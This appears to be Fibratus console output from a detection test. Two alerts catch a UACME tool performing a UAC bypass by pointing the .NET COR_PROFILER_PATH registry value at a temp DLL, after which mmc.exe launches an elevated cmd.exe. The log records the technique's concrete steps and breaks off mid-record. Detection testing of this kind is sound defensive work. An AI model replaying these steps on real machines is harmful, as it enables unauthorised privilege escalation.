C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-03T16:01:52+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-03T16:01:52+01:00 level=info msg=bootstrapping with pid 14876. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-03T16:01:52+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ use-template=>true port=>25 enabled=>false content-type=>text/html to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true min-buffers=>16 enable-image=>true enable-fileio=>true enable-threadpool=>false enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-mem=>true enable-handle=>false flush-interval=>1s enable-dns=>false enable-registry=>true max-buffers=>36 enable-thread=>true stack-enrichment=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 formatter=>text log-stdout=>true max-backups=>15 max-size=>100] + output ......................... [ http=>[ method=>POST endpoints=>[] timeout=>5s enable-gzip=>false serializer=>json enabled=>false tls-insecure-skip-verify=>false] elasticsearch=>[ flush-period=>1s healthcheck-interval=>10s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] trace-log=>false enabled=>false sniff=>false timeout=>5s index-name=>fibratus bulk-workers=>1 gzip-compression=>false template-name=>fibratus healthcheck=>true] amqp=>[ url=>amqp://localhost:5672 passive=>false vhost=>/ durable=>false timeout=>5s routing-key=>fibratus enabled=>false exchange-type=>topic exchange=>fibratus delivery-mode=>transient tls-insecure-skip-verify=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false enabled=>false fastscan=>true excluded-files=>[] skip-files=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-allocs=>false skip-registry=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-03T16:01:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-03T16:01:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-03T16:02:36+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 16744986 + Pid: 4180 + Tid: 15328 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-03 16:02:29.5556052 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffab869157ecc0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 4180 + Ppid: 15068 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:fa8e9e05-6b13-4530-bd6b-7db690e0961f WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 16762846 + Pid: 17140 + Tid: 3108 + Type: CreateProcess + CPU: 4 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-03 16:02:30.9217173 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 1975bd000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffbb8a591130c0, name➜ cmd.exe, pid➜ 7740, ppid➜ 17140, real_ppid➜ 17140, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-03 16:02:30.9216428 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 14695981039346656037 + + Pid: 17140 + Ppid: 4180 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-03T16:03:06+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 16834482 + Pid: 5868 + Tid: 15516 + Type: RegSetValue + CPU: 0 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-03 16:03:03.8105478 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffab869157ecc0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 5868 + Ppid: 15068 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:fa8e9e05-6b13-4530-bd6b-7db690e0961f WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 16844238 + Pid: 5728 + Tid: 17036 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-03 16:03:04.9352217 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 364e7000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffbb8a5e820080, name➜ cmd.exe, pid➜ 1736, ppid➜ 5728, real_ppid➜ 5728, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-03 16:03:04.9351522 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 14695981039346656037, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 5728 + Ppid: 5868 + Name: 